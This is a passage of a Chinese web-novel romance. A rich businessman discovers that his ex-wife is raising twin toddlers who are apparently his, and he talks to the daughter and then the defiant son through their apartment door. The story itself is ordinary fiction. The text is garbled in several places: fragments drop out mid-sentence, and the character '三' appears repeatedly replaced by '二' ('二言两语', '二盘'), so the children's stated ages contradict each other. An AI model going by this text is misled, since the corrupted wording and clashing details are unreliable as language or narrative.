老太太抬手挥了挥:“兴许吧,兴许也算是爱,不过我还是更想听他亲口说出来。可惜喽,你爸这辈子也没跟我说过一句肉麻话。” 赵叙平陷入沉默。 老太太的话,让他想起一些往事。 过了会儿,他看着老太太,问:“爱不爱的,真这么重要?” 老太太扬声反问:“怎么不重要?” 赵叙平:“那要是心里爱,不说出来也不行?” 老太太:“行啊,那就憋在心里呗,反正男人不难受,难受的是女人。” 赵叙平想不明白,沉默几秒,又问:“可是您不觉着,这种话说出来,特矫情,特肉麻?” 老太太两手一摊:“矫情怎么啦?肉麻怎么啦?夫妻俩腻乎腻乎,说说情话,犯天条啦?” 说完,老太太沉默半晌,摇摇头:“我这辈子,最大的遗憾,就是没听你爸说过一句爱我。嗐,也不知道这是不是他这辈子最大的遗憾。” 这话勾,许久不言语,末了抬手看看表,起身:“妈,我得出去办点事儿。” 口,嘱咐:“忙去吧,别忘了跟灵灵打个电话,说说情话,她肯定特高兴。” 赵叙平点头应下。 回到车上,赵叙那些话,等红灯的空当,又想起了周静烟曾经说过的话。 赵叙平开着车,看见,强烈的熟悉感袭来,他忽地愣住,心脏紧缩。 赵叙平放缓车速,靠边慢慢向前开。车超过那个牵着俩孩子的女人,赵叙平停下来,降下车窗,扭头往后瞧。 他仔细看那女人时,那女人也向他望了过来,四目相对,赵叙平脑中轰然炸开,呼吸一滞。 随即,他将目光挪到孩子脸上。 左一个,右一个,真够可以的,他冷笑着想,轻扯薄唇:“哟,孩子谁的?不会是我的吧?” 周静烟比以往淡定多了,处变不惊,没反驳,松开牵着儿子的那只手,摊开掌心伸进车窗,顺着他的话往下说:“堂堂首富,几个亿抚养费不成问题吧?” 赵叙平脸色倏地阴沉。 周静烟笑出声:“讹你呢,怎么这么好骗。” 说完,她带着孩子们调头往反方向走。 赵叙平趴车窗上,脖子伸得老长,眼见他们仨越走越远,消失在拐角处,才转回身子,瘫靠在椅背上,一脸茫然望着前方。 缓了好一会儿,直到心和脑子没那么乱,赵叙平才继续往前开。 他在不远处换了条道,没回公司,而是去了父母那儿。 赵叙平进家到处找母亲,父亲问他干嘛,他没解释,只是问:“爸,您知道咱家老照片放哪儿么?” 赵天成想了想:“二楼书房柜子里。” 赵叙平大步流星走向电梯。 赵天成扬声问:“找那个干嘛?” 赵叙平没答,迅速关上电梯门,到了二楼,出来时正好碰见母亲,他箭步往外走,打了声招呼,没停下脚步。 章芝纭原本要下楼,见着他,又扭头追过去,跟着他进书房,问:“急赤白脸干嘛呢?” 赵叙平飞快打开几个柜子:“咱家老照片在哪儿?” 章芝纭走到窗边,拉开一扇柜门:“这呢。” 她捧出几本又大又厚的相册:“里边儿还有。你找什么相片?” 赵叙平随手翻了翻母亲拿出来那几本,都不是自己要找的,看向柜子里:“我小时候的有么?” “有,但不多,你小时候不爱照相,看见镜头就躲。五岁那年我跟你爸带你出去旅游,有人觉着你好看,偷摸给你拍了几张,你追着人嚷嚷,让全给删了,说侵犯你肖像权。” 提起这段往事,章芝纭脸上笑意浮现。 她抽出一册来,翻开找了找,指着其中一张:“这个行么?” 照片上,儿子穿着运动服,怀抱篮球,淡漠看向镜头,小小年纪已有非凡的王者之气。 赵叙平看一眼,问:“那会儿几岁?” 章芝纭:“九岁。” 太大了,赵叙平心想,又问:“有没有二四岁的?” 章芝纭:“少,你二四岁就很抗拒照相,说什么糙老爷们儿不需要拍照,说这话时你爸那些朋友都在,把大家给乐得,逗死了。” 赵叙平一点也笑不出,沉着脸将柜子里的相册全搬出来,放书桌上,一本本迅速翻看。 章芝纭也帮着找,边找边问:“着急忙慌要那个干嘛?” 赵叙平淡淡答道:“就看看。” 章芝纭才不信他只是看看,见问不出什么来,也就不问了。 “这呢!这会儿二岁!在海边照的,你爸去海城出差,带上咱俩,我抱着你在海边看落日。” 赵叙平目光落到母亲递来的照片上。 照片年代久远,微微泛黄,画面中,夕阳悬在海平线上,海面波光粼粼,母亲身穿一袭长裙,赤脚踩沙滩,笑容灿烂,怀里的他高高瘦瘦,懵懂望着镜头。 赵叙平看着儿时的自己,皱眉,难以置信:“这时候才二岁?” 章芝纭:“高吧?说出去还有人不信!非说你至少五岁!我跟你爸都挺高,你从小好动,营养跟得上,小时候睡眠也好,长这么高,那可太正常了。” 赵叙平盯着照片上的二岁小屁孩儿,努力回想周静烟牵着的那俩孩子,可惜当时太过震惊,大脑一片空白,以至于压根记不住他俩长什么样,只知道一个丫头一个小子,个儿都挺高。 “妈,您和我爸家,有没有双胞胎或者龙凤胎基因?”赵叙平问。 章芝纭:“没有,我娘家近几代都没有,往上数就不知道了,你爸那边儿也是。” 赵叙平低头又看了会儿照片,自言自语:“没有基因,概率也太小了……” 章芝纭听不明白:“嘀嘀咕咕说什么呢?” 赵叙平握着照片转身就走。 他步子太快,章芝纭小跑才能跟上,一路追进电梯:“又要干嘛去?” 他沉着脸不作声。 章芝纭瞧他片刻,无奈叹息:“神神叨叨的……” 赵叙平拿了照片立马赶回公司开会,开完会,他将秘书叫进办公室。 “查个人,尽快。” 秘书问查谁,他漫不经心抬眸:“周静烟。” 秘书眼里闪过惊讶,很快恢复平静,点头领命。 每分每秒,赵叙平都过得煎熬。 别人是度日如年,他是度秒如年。一会儿看看自己二岁那张照片,一会儿查查普通人生龙凤胎的几率,一会儿搓搓脸,仰头望着天花板发呆…… 见合作方时,聊着聊着,赵叙平就走神了,脑子里冒出俩小孩儿,满脑子都是林荫道上,两个小不点儿蹦蹦跶跶的画面。 他俩是周静烟的孩子吗? 周静烟不是很难生育吗? 如果真是周静烟生的,那是她跟谁生的? 孩子是他的,还是别人的? 如果不是周静烟生的,会是领养的吗? 又或者,她只是暂时陪陪朋友的孩子? …… 太多太多疑问涌进赵叙平心头,如同无形的乱麻,将他紧紧缠绕,缠得他心痒头痛,几近窒息。 “赵总,赵总?” 对面的老板叫了两声,赵叙平才回过神。 他拎起茶壶,给合作方续茶,不好意思笑了笑,随口找个幌子:“昨晚失眠,一宿没睡,这会儿脑子有点儿懵。” 送走合作方,赵叙平接到广城张哥的电话。 张哥说下星期要来京州出差,媳妇儿和孩子们也都来。 赵叙平其实挺不想接待。倒不是不喜欢他们,而是怕看见人家一家团团圆圆,和和美美,自己心里不是滋味儿。 以前只要去广城,张哥一家每回都热情招待他,这次张哥拖家带口过来,他不亲自陪同可说不过去,甭管心里多羡慕,多难受,也只能硬着头皮上。 下班前五分钟,秘书发来一封邮件。 邮件里,周静烟目前的联系方式,居住地址,以及俩孩子的出生时间,接生医院,都写得清清楚楚。 赵叙平盯着电脑屏幕沉默许久,忽地仰头,搓了搓脸,深深吸气,又长长吐气,红着眼眶笑起来,唇角有讥讽,有无奈,还有无尽感慨。 周静烟是俩孩子亲妈,根据孩子出生日期推算,她大概是年初怀上的。 赵叙平永远忘不了那个元旦。 他弄得太狠,几乎毫无人性。有那么一瞬,他甚至怕自己死在周静烟肚子上,也怕周静烟死在他身下,可那一瞬过后,他又想:死就死吧,她非要跟他离,非要走,他活着还有什么劲儿?要死一起死,真死了,那就一起做鬼,一起投胎,下辈子还要做夫妻。 下辈子做一辈子的夫妻,再也不分离。 周静烟能怀上,已经很不容易,还怀了对龙凤胎,简直就是奇迹。 他盯着天花板笑了半晌,起身就走,半路倒回来拿照片,大步跑出办公室。 晚上八点,赵叙平来到老城区。他将车停在周静烟住址小区外,内心纠结,没有立即下车。 此刻赵叙平当然想赶紧见见孩子,跟孩子相认,可他也怕这样会吓着孩子。 俩小不点儿还没满二岁,面对突然冒出来的爹,会不会以为他是不怀好意的怪叔叔? 赵叙平脑子里冒出俩孩子抱作一团瑟瑟发抖的画面,于心不忍,不敢冒然出现在他们面前。 他静静坐在车里,降下车窗,点燃一根烟,抽完调头往回开。 半路,他心里又涌起一阵强烈的渴望。 渴望再看一眼周静烟和孩子——哪怕只看一眼。 他觉得自己真是有病。有病就有病,只要能再看一眼他们娘仨,说他是精神病,他也认了。 加速开回老城区,赵叙平将车停稳,立即下车,往小区里走。 小区年代久远,房子老旧,环境倒是挺干净,可安保形同虚设,连个门禁都没有。 赵叙平在昏黄的路灯中穿行,一栋栋找着,越找越气:周静烟拿了二千万,竟然带着孩子们住这儿! 几分钟后,他停在一栋房子前,掏出手机,点开邮件,对了对楼号,又走到一楼左边那户人家门口,对了对门牌号。 和他记忆中的没差。 赵叙平抬起手,正要叩门,忽地顿住,低头收回手,深呼吸几次,不给自己更多时间犹豫,心一横,闭着眼叩了叩门。 焦灼地等了一会儿,门没开,他看看表,已经晚上九点,应该是睡了,他想。 赵叙平转身离开,走出楼道,停下脚步叹了口气,倒回来又叩了几下门。 这回里面很快有人问:“谁呀?” 奶声奶气,像是丫头的声音。 赵叙平心脏疯狂跳动,差点跳出嗓子眼儿,双手攥拳垂在腿侧,不禁轻颤,一时竟不知该如何回答。 自爆大名孩子又不认识,赵叙平想了想,说:“我找你妈妈。” 他语气淡淡的,声音有些颤。 里头回应道:“妈妈睡啦!” 赵叙平问:“你妈妈是叫周静烟吗?” “是呀!” 赵叙平不知不觉放松下来,笑着问:“妈妈都睡了,你怎么不睡?” “弟弟也没睡呢。” 果真是丫头。赵叙平唇角微扬:“弟弟呢?在干嘛?” “不告诉你!你哪位?” “我是——”赵叙平顿了顿,“我是你妈妈的朋友。” “你叫什么名字?” “赵叙平。” 过了会儿里头才开口:“不好意思,我仔细想了想,妈妈好像没有叫赵叙平的朋友,所以我不能给你开门。” 小心严谨还有礼貌,不愧是他闺女,赵叙平脸上笑意止不住,嗓音温柔得不像话:“没事儿,叔叔不进来也行。弟弟在你身边吗?” “弟弟在房间里拼乐高,他要拼一个国家,自己当国王。” 赵叙平没忍住,噗嗤笑出声:“你呢,不睡觉干嘛呢?” “跟你聊天儿呀。” 小机灵鬼,赵叙平唇角就没下去过,自豪感油然而生:闺女可真聪明。 才二岁不到,说话跟个大人似的,口齿伶俐,条理清晰,脑子转得这么快。 “还能再跟叔叔聊会儿吗?”赵叙平几乎以一种恳求的语气,小声问道。 “行吧,反正我现在也不困。” 小样儿,还挺拽。赵叙平乐了,明知故问:“你叫什么名字?” “不好意思,无可奉告。” 赵叙平再次笑出声,摇摇头:“这都跟哪儿学的啊,说话这么成熟。” “大家都说我不像两岁的孩子,妈妈说,可能我天生就成熟吧。” “你今年两岁啊?” “很快就二岁了,到时候我就上小班啦!” 赵叙平从闺女声音中听出激动和自豪,乐呵呵问:“很想上小班?” “嗯!小小班的人都太幼稚了!” “噗——小小班的人不也跟你一起升小班么?” 里头叹了口气,哼起一段赵叙平耳熟的调子,只不过自己换了词儿:“你的二岁我的二岁好像不一样……” 闺女唱歌又甜又软,调还准,听得他心都化了,等闺女唱完,他还意犹未尽,久久不作声。 里头见外面没动静,问:“叔叔,你还在么?” 赵叙平这才应道:“在,叔叔一直陪着你。” 里头传来长长一声叹息。 赵叙平问:“叹什么气?” “其实我很想开门看看你长什么样儿,可是我不能,因为这样太不安全了。” “没关系,不随意给陌生人开门是对的,你特别棒。” 就这么隔着门跟闺女聊聊天,他已经很满足了。 沉默一会儿,他低声问:“你爸爸呢?” 里头不作声,似乎有心灵感应,赵叙平能感觉到女儿此刻很难过。 他笑了笑:“没关系,不想说,咱就不说。” “叔叔。” “嗯?” “我没有爸爸。”小家伙语气特平静。 赵叙平心脏抽着疼,无声回应:不,你有,你有。 爸爸就在门外。 从今往后,爸爸永远陪着你。 他红了眼,泪水不住地往下淌,额头抵在门上,深深呼吸,颤抖着问:“妈妈这么跟你说的?” “妈妈说,爸爸在很远的地方工作,每天都很忙,等有空了就会回来看我们。我两岁生日的时候,许愿爸爸赶紧回来,一直也没见他来,生日愿望根本就不会实现,我根本就没有爸爸。” 赵叙平心痛难忍,缓缓蹲下来,捂着脸抽泣,咬紧牙关不让孩子听到哭声。 “叔叔,叔叔?你还在么?”小家伙声音有些慌,像是生怕他离开。 他赶紧站起来,胡乱抹抹泪,吸了吸鼻子,带着浓浓的鼻音开口:“叔叔在,叔叔陪你,多晚都陪你。” “太好啦!你明天还来吗?” “来,只要你愿意,叔叔每天都来。” “那我明早问问妈妈,如果你真是她的朋友,下次我就给你开门,请你上我家坐坐。” “先别,”赵叙平赶忙阻止,“暂时别告诉妈妈我来过。” “为什么呀?你不是她的朋友吗,朋友来了当然要好好招待呀,每次琳琳阿姨过来,妈妈都很高兴呢,要是妈妈知道你来,肯定也很高兴!” 那倒不会,她只会很生气——这点自知之明,赵叙平还是有的。 “因为……因为我跟你妈妈很久没见面了,忽然拜访,可能她会觉得我这样很冒昧。”其实现在就挺冒昧的,不过赵叙平别无他法,见不着孩子已经够难受了,听听声儿总行吧? “那你打算什么时候联系我妈妈?”孩子问。 赵叙平思忖片刻,答道:“叔叔暂时没想好,咱们先这么聊着,行么?” “行,反正我不会给你开门的,我可是很有底线的人。” 赵叙平被这话逗乐:“哟,你还知道‘底线’啊?” “别小瞧我,我词汇量可大了!智商也很高!” “看出来了,咱家听雨真不是一般人。” “咦,你怎么知道我叫听雨?” 赵叙平连她在哪个幼儿园就读都知道,自然也知道名字,他扯了个谎:“你妈妈以前告诉过我。” “嘿嘿,大家都夸我这名儿取得好听。” “特好听,妈妈取的?” “嗯!不对——”小家伙语气突变,严肃起来,“你刚才不是不知道我叫什么吗?” 赵叙平装糊涂:“啊?” “刚才你还问我来着!怎么这会儿又知道了?” 赵叙平笑得很干,清了清嗓子:“咳,那什么,叔叔故意逗你呢。” “幼稚。” “叔叔可没咱家听雨这么成熟。”赵叙平忍俊不禁。 周听雨在里头连声叹气,提醒道:“叔叔,虽然我挺喜欢你的,可我跟你不是一家人,能别老‘咱家咱家’成么?” 赵叙平嘴上答应,心里想:他们娘仨早晚都会回他户口本儿上,到时候可不就是一家人么。 “听雨,能让弟弟过来跟我说几句吗?”他问。 里头安静了会儿,很快,周听雨开口:“弟弟趴床上睡着啦!他这人吧,白天动起来停不住,晚上睡着了叫不醒,妈妈说他就跟个小马达似的,白天电量耗完,晚上靠睡眠充电。” 赵叙平心想:看来这小子很像他。 这么一想,赵叙平不禁犯愁,毕竟像他可没啥好的,作为父亲,摊上他这么个儿子,只会有操不完的心。 嫌弃归嫌弃,赵叙平还是忍不住关心起来:“屋里开空调了么?” 周听雨:“开啦。” 赵叙平:“弟弟盖被了么?没盖的话,你帮弟弟盖上好不好?省得弟弟着凉感冒。” 周听雨:“一开始没盖,刚才我就给他盖上了。” 赵叙平心里宽慰,由衷夸道:“听雨真是个好姐姐。” “还行吧,他要是招惹我,我也会反击的。” 赵叙平笑着点点头:“反击得好,必须反击。” 谁也不能欺负他闺女,就是亲儿子也不行。 赵叙平:“你俩晚上都跟妈妈睡?” 周听雨:“以前是,这次放暑假,妈妈就让我们自己睡了,我和弟弟单独睡一个屋,我们房间有上下床,我睡下铺,弟弟睡上铺,可我还是想跟妈妈睡……” 赵叙平头一回觉得周静烟这人铁石心肠,孩子才这么点儿大,竟然让他们自己睡,心也太狠了。 “没事儿,以后叔叔——”他忽地顿住,本想说以后叔叔带你睡,又感觉这么说听起来像个变态,改口道,“以后你就习惯了。” 周听雨嘟囔一句,赵叙平没听清,问她说什么,她叹一口气,声音大了点儿:“荔荔都是跟爸爸妈妈一块儿睡,我也想跟爸爸妈妈一块儿睡。” 失落的语气掩不住。 赵叙平听得心酸,想:我倒是没意见,关键你妈未必肯让我上床啊。 他安慰起女儿:“别难过,回头叔叔找机会劝劝你妈,让她带着你睡。” “叔叔,你认识我妈妈,那你认识我爸爸吗?” 赵叙平愣了愣,轻声笑笑:“认识。” 周听雨好奇:“那你知道他在哪儿吗?他真的不要我们了吗?为什么这么久都不来看我们?” 赵叙平不知如何作答,沉默许久,说:“没有不要你们……回头我跟他说说,让他一定尽快来找你们娘仨。” 周听雨又问:“叔叔,我爸爸长什么样啊?是不是特帅?” 赵叙平笑了:“还行吧。” 周听雨:“很多人都夸我和弟弟好看,夸妈妈漂亮,说爸爸肯定很帅。” 赵叙平没好意思夸自个儿帅,谦虚道:“也就那样吧。” 周听雨不免有些失望:“啊?就那样……唉,好吧,还以为是个大帅哥呢,我喜欢帅哥,如果他不帅,可能我也没那么喜欢他了。” 赵叙平经历好一番思想斗争,挤出这么一句:“其实你爸爸特帅。” “那你刚才还说他也就那样!” “我嫉妒他。” “什么是嫉妒?” “就是……你爸爸实在太帅了,我太羡慕,羡慕到有些恨他,竟然长得这么帅。” “哇!那他高吗?” “高,大长腿,一米八六。”虽说这是事实,可要不是为了能提前给闺女留个好印象,他哪有脸这么自夸。 周听雨越发激动,声音大了许多:“好想看看爸爸!叔叔,你有他照片吗?” 话音刚落,里头传来一个熟悉的声音。 “听雨,说什么呢?蹲门口干嘛,怎么还不睡?” 赵叙平心里一动,耳朵贴近门板,想再听听周静烟说话。 “鞋子堆在门口太乱了,我收一收,马上去睡觉。”周听雨说道。 赵叙平忍不住乐,这小家伙,脑袋真灵光。 周静烟没再说什么,过了一小会儿,周听雨紧挨着门,小声告诉赵叙平:“叔叔,我先去睡啦,明晚再聊!” “行,别告诉妈妈,好么?” “嗯!晚安!” “晚安。”我的宝贝儿。赵叙平趴在门板上,满脸洋溢幸福的笑。 “咳——咳!” 身后忽然传来咳嗽声,赵叙平扭头看去,见一位老太太正冷脸盯着自己,赶忙转身离开。 周静烟早已过了遇上点事儿就失眠的年纪。 她知道自己现在心很大,没想到竟这么大,白天碰见赵叙平,晚上还能倒头就睡。 要不是被女儿吵醒,这晚一定睡个整觉。不过从客厅回来后,没多久她又睡过去,天亮才醒。 等她做完早餐,孩子们已经起床,并排站在厨房门口,周云生搓着手问:“妈妈,早上吃什么?我肚子都快饿扁了。” 周静烟端出二盘小笼包,又倒了二杯豆浆,两杯放点冰糖,一杯什么也不放。 上星期做了许多小笼包冻着,孩子们爱吃,这两天早上她都蒸这个当早餐。 “我要吃肉馅儿的!”周云生大喊。 周听雨看向母亲:“妈妈,我肉馅儿的也吃,菜馅儿的也吃,这样才营养均衡。” 周静烟笑着点点她鼻尖:“好孩子,真聪明。” 周听雨冲弟弟摇头晃脑,周云生可不生气,吐舌头冲她“略略略”,抓起肉馅儿小笼包往嘴里塞。 周静烟哭笑不得,蹙眉看着儿子:“慢点儿,没人跟你抢!” 吃完早餐,周静烟洗好碗,嘱咐俩孩子老实在家待着,谁也不许出门,谁敲门也不许开,不许进厨房开火。 周听雨乖乖点头:“知道啦,妈妈,你放心买菜去吧。” 周云生抬手敬礼:“Yes,Madam!” 周静烟瞧着儿子那模样,忍不住笑出声。 她换好鞋,拎着平时买菜专用的塑料兜子,走出去关门,碰见楼上一位邻居老太太,微笑打招呼。 老太太平时话不多,跟街坊邻里关系淡淡的,不爱扯闲篇儿,但也是个好心肠,这回停下来多嘱咐两句:“小周啊,平时你可得注点儿意,咱们这边有混子。” 周静烟愣了愣:“啊?” 老太太善意提醒:“千万锁好门窗,尤其是晚上!昨儿我还看见一混子鬼鬼祟祟趴你家门上呢!” 周静烟吓一跳,赶忙问:“他开我家锁了?” 老太太:“谁知道呢!八成这么打算的,被我撞见,我就站楼梯口狠狠瞪他,他也没胆子继续,灰溜溜跑了。” 周静烟既庆幸又后怕,连声道谢,老太太挥了挥手:“街坊邻里的,互相照应一下,应该的。” 得知这事儿后,周静烟没法安心逛菜市场,随便买了几样便赶回来,进门放好东西,把儿女叫到跟前。 “听说咱们这儿有混子,以后不管妈妈在不在家,你俩都不能给人开门,就算妈妈在,也不能开,要开只能妈妈开,记住没有?” 孩子们齐刷刷点头。 周听雨问:“妈妈,什么是混子?” 周静烟:“二言两语说不清,反正你们记着,混子不是好人,有可能是小偷,有可能是变态。” 周听雨又问:“那什么是变态?” 孩子求知欲太强,母亲真是怪累的,周静烟叹着气,想。 她摸摸女儿脑袋:“总之呢,变态就是没安好心的坏人,会干一些特别特别坏的事儿,给人造成特别特别大的伤害。听雨,你是女孩子,可千万要注意啊。” 周静烟将女儿搂入怀中,忽地一愣,松开怀抱,紧抓着女儿两条胳膊,蹙眉问:“昨晚你是不是在门口跟外面的人说话?” 周听雨眨了眨眼,犹豫着要不要告诉母亲昨晚的事,又想起跟赵叔叔的约定,不知该怎么办才好。 纠结片刻,周听雨摇摇头,说:“没有,昨晚外面没人呀。” 虽然没有足够的理由证明赵叔叔是好人,可她就是莫名对他有好感。 赵叔叔这么温柔,这么有耐心,愿意陪她聊天,一点都不嫌她话多,这么好的赵叔叔,怎么会是变态呢? “真没有?”周静烟追问。 周听雨有些心虚,可又实在喜欢赵叔叔,一脸真诚冲着母亲摇头。 周静烟松了口气:“今天不可以睡那么晚了哦。” 周听雨噘噘嘴,打算阳奉阴违:“好吧……” 周云生在一旁拍着胸脯说:*“你俩放心,我会保护好这个家的!” 周静烟噗嗤乐了,心情松快不少,捏捏儿子的小脸蛋:“你保护好自己和姐姐就行,妈妈也会保护好你俩。” 周云生梗着脖子:“妈妈虽然是大人,可大人也是需要保护的!别人的妈妈都有爸爸保护,我的妈妈没有,所以保护妈妈的任务就交给我了!” 这话让周静烟心里难受。她在儿子额头印下一个吻,含着泪说:“云生,妈妈也有爸爸保护,你只需要做个快乐的孩子就行,不用操心太多。” 周云生撇撇嘴,冷哼:“爸爸才没有保护妈妈呢!爸爸坏!爸爸不要我们了!” 周静烟不知该如何跟孩子解释,眼泪成串往下淌,喉咙发痛,哭着摇头:“不是这样的,云生,你爸爸——” 周听雨想起昨晚赵叔叔告诉她的话,打断道:“妈妈,我知道,爸爸没有不要我们!” 周静烟点了点头,泪水依然没有止住。 这事儿也怨她,当初瞒着赵叙平生下他俩,否则依赵叙平的性子,肯定不会抛下孩子。 昨天在路上见着赵叙平,她都怕这人发现端倪,找上门来跟她抢孩子。不过他那个急性子,真要发现了,昨晚肯定找过来了,现在还没动静,说明压根不认为这俩是他的孩子。 她身子难怀孕,说不定赵叙平以为孩子是她领养的呢。 这么想着,周静烟宽心许多。 晚上,周静烟特意锁好所有窗户,又将大门反锁,睡前统统检查一遍才去睡觉。 周听雨躺在自己房间,睁眼看着上铺床板,心里念叨:不能睡,绝对不能睡,今晚还要跟赵叔叔聊天呢。她有好多好多话想说,有好多好多关于爸爸的问题想问…… 就这么默念着,默念着,周听雨睡着了。 睡得很香,很沉,压根听不到叩门声。 倒是周云生,心里惦记保护妈妈和姐姐,特意忍着没睡。 叩门声响起时,周云生噌地坐起来,掀开被子麻溜爬下去,怕吵醒姐姐,出房间还贴心把门关上。 管这人是混子,小偷,还是变态,今晚他倒要会一会。 周云生走到客厅大门口,等了片刻,叩门声又响起,他双手叉腰,压着声音吼道:“你个癫公!大晚上跑别人家门口敲什么敲!” 第49章 第49章【VIP】 从周静烟那儿回来,赵叙平整宿没睡,心里头万般滋味,一会儿激动难耐,一会儿心痛如绞,一会儿笑,一会儿哭…… 隔天上班也是,情绪反反复复,时而沉着脸,时而咧嘴笑。开会时,下属们根据他的面部表情揣测老板心情,结果显而易见:谁也揣测不准,老板心情好坏,毫无规律可言。 下班有个应酬推不掉,赵叙平过去露个脸,跟大家打声招呼,饭都没吃,喝了几杯酒就忙着要走。 旁人问他急什么,他笑笑,说家里有事儿。 大家早知道他跟周静烟已经离婚,见他这副表情,不像出了什么坏事儿,倒像迎来第二春,这种场合谁也不好多问,只是面面相觑,催他赶紧忙去。 赵叙平喝了酒没法开车,坐进后座,给司机发去定位。 到达目的地,他飞快冲进小区,找到周静烟家门口,满怀期待叩了叩门,没人应,他心想:小家伙肯定在来的路上。 赵叙平没想到的是,小家伙确实来了,不过来的是另一个小家伙。 等了一会儿,他又抬手轻轻叩门。 这回里面有人应了,声音却是陌生的,奶呼呼,凶巴巴,满满攻击性中还有那么点儿不知天高地厚的萌感。 儿子骂他“癫公”。 赵叙平不懂什么叫“癫公”,不过结合儿子后面半句话,也能明白这不是好词儿,气得一手叉着腰,一手指着门凶道:“周云生,你跟谁嚷嚷呢你?没规矩!” 他凶,里头更凶:“就跟你嚷嚷,怎么啦!你这个癫公才没规矩!还查到我叫什么名儿了是吧?知道又能拿我怎么着!” 赵叙平气红了脸,血压飙升:“嘿你小子!知道我是谁么?” 周云生在里头笑:“你就是天王老子,我也不会开门!” 赵叙平:“我还真是你老子!快点儿,给你爹开门!老子今天非得把你屁股揍开花!” 周云生:“拉倒吧,我没爹!我爹早死了!” 赵叙平指着门干瞪眼,抬脚正准备踹门,残存的理智又让他放下那条腿,深呼吸,强压住怒火,冷冷命令:“周云生,听话,给你爹开门。” 里头哼一声:“都给你说了,我没爹,我爹早死了。” 赵叙平抬手扶额:“谁跟你说你爹早死了?” 周云生语气颇有些幽怨:“他没死怎么不来看我?我妈养我们这么累,我和我姐姐这么想他,他都不来找我们,他就是死了!” 这话噎得赵叙平无言以对,他转过身,冲着楼梯口深深吸气,盛怒之下,是巨大的悲伤和无奈。 好一会儿,赵叙平才缓过劲来。 他又转回身子,面对着门,语气比方才软了许多:“云生,你爸爸没死。” 周云生冷笑:“那你让他来找我们呀!” 赵叙平:“这不是来了么?我就是你爸。” 周云生:“你叫什么名儿啊?” 赵叙平报上大名。 周云生:“呵呵,糊弄谁呢!我姓周,你姓赵,你怎么会是我爸?” 赵叙平不知他是真傻还是装傻:“你跟你妈姓,不代表就不是我儿子。” 里头不作声了。 赵叙平以为他这是终于信了,语气又软了几分:“儿子,听话,给爸开门,爸保证不揍你。” 这次暂且放过,下次可不一定,赵叙平心想。 里头依然沉默,赵叙平叹气,问:“姐姐呢?爸跟姐姐说两句。” 里头终于吱声了,破口大骂:“再不走我报警了!你个混子,小偷,死变态!” 赵叙平愣愣站在门外,整个人陷入一种深深的震撼之中。 他虽然不记得自己三岁左右说过什么话,做过什么事儿,但可以肯定,自己在这个年龄跟人吵架时,嘴皮子绝对、绝对没有周云生厉害。 他甚至开始怀疑,秘书发来的资料,是不是有问题。 这小子真的三岁不到? 可是,如果资料出错,年龄对不上,那周听雨和周云生肯定不是他亲生孩子。 赵叙平宁愿周云生是周静烟抱养的,而他只有一个亲闺女,那就是周听雨。 遗憾的是,赵叙平知道,这个可能性为零。 周云生骨子里那叛逆劲儿,简直跟他如出一辙,只不过是更新升级版的他——侮辱性更强,战斗力更猛。 赵叙平忽然心生感激:感激 他不得掐死那个逆子。 这么比起来,他爹还是更有修为,这都能忍,并且忍了这老些年。 理解赵天成,佩服赵天成,感恩赵天成。 赵叙平走出楼道,望着夜空长长叹息,认真琢磨起来:要不赶紧找个堂兄或者表弟,把那小子过继过去,这个爹,他赵叙平是真当不起。 不仅当不起,他甚至想喊周云生一声爹。 不,不是爹,是祖宗。 当晚回去,赵叙平没再失眠,可也没睡好,一宿净做噩梦了。 梦里被周云生气得差点儿驾鹤西去。 生。 要么把人打住院了,害他陪一大笔钱,么小小年纪早恋,把人小姑娘抵在校门外墙上,哥的女人,享受拉风人生!”;要么人到中年妻离子散,还要他媳妇不计前嫌…… 凌晨四点,赵叙平从噩梦中惊醒——六十岁的周云生指着快九十的他大骂:“混子,小偷,死变态!” 这也太可怕了。 赵叙平很怀疑,要是让这小子认祖归宗,自己还能活到九十吗?别明年就给气死了吧! 有这么一种说法:有些孩子来到世界上,是跟父母讨债的。 赵叙平以前对这话嗤之以鼻,现在则深以为然。 周云生没准儿是他上辈子的宿敌,恩怨上辈子没结清,这辈子继续。 连着两晚没休息好,赵叙平脑子就跟浆糊似的,靠在床头呆坐,熬到天亮,又开始四处打电话,问人家缺不缺儿子,他这边能免费送一个,倒贴钱都行,唯一的要求是:一经收货,概不退回。 堂哥问他几个菜啊喝成这样;表弟问他是不是还没睡醒;江东铭问他抽的哪门子风;梁卓问他是不是来真的——他愣了愣,立马否认,说自己闹着玩儿,别当真。 给谁都不能给梁卓。他可没忘记以前梁卓怎么盛赞周静烟,说不定这小子真惦记过嫂子。 刚进办公室,赵叙平就收到江东铭发来的消息。 江东铭:【哥们儿,你咋了?】 赵叙平抿一口美式,嘴里苦,心里更苦,还不能找人诉苦,纯靠自己硬撑:【没咋】 江东铭:【大清早打电话送孩子,我特么以为你疯了……】 赵叙平:【哈哈,确实疯了】 就算暂时没疯,也快了。 江东铭:【不是,你今天怎么回事儿?跟个神经病似的】 赵叙平:【呵呵,也差不多】 江东铭:【???】 江东铭:【又失恋了?】 赵叙平:【?】 赵叙平:【什么叫“又”?】 江东铭:【合着离婚不是周静烟提的?不是她甩的你?】 赵叙平不想理他,又咽不下这口气:【得了吧,我俩和平分手,不存在谁甩的谁】 江东铭:【和平吗?怎么我媳妇儿说的不是这个版本啊?】 赵叙平咬紧后槽牙,打字都狠狠用力:【江东铭,你今天就非得犯这个贱是么?】 江东铭:【老子是怕你精神真出什么问题,想善意提醒你一句——要是开始了第二春,能软则软,别嘴硬,别赌气,好好哄哄人家,别像以前对周静烟那样对人家。】 赵叙平:【谁跟你说老子有第二春了?】 江东铭:【昨晚隐隐约约听到一点传闻,结合你今早那通电话,很难不让人多想啊哥们儿……】 赵叙平:【谁特么这么碎嘴子!】 江东铭:【嗐,你老实交代,有没有这回事儿?】 赵叙平:【没有,有的话老子认你做爹】 江东铭:【倒也不必……真没事儿我就放心了】 赵叙平没再回复。 工作一会儿,他又拿起手机,盯着屏幕犹豫半晌,打出一行字,发给江东铭。 赵叙平:【做爹什么感觉?】 江东铭:【你是想做我爹,还是想认我做爹?】 赵叙平:【滚蛋,老子说认真的】 江东铭:【还能什么感觉?当然是累啊!不过看着自己孩子健康长大,也很开心。算是甜蜜的负担吧,累并快乐】 赵叙平:【女人生孩子特难受吧?】 江东铭:【废话……沈琳打了无痛,也没好受到哪儿去,而且生完还得多注意,我妈说月子病会跟一辈子,要是没做好月子,以后可有罪受了】 赵叙平靠着椅背,仰脸,心里想:周静烟这么胆小,这么怕疼,当初是怎么生下俩孩子的?分娩的时候,她哭了吗?有人陪在她身边吗? 想必没有。以前没离婚那会儿,他俩感情好的时候,她就说过,自己其实只有他了。 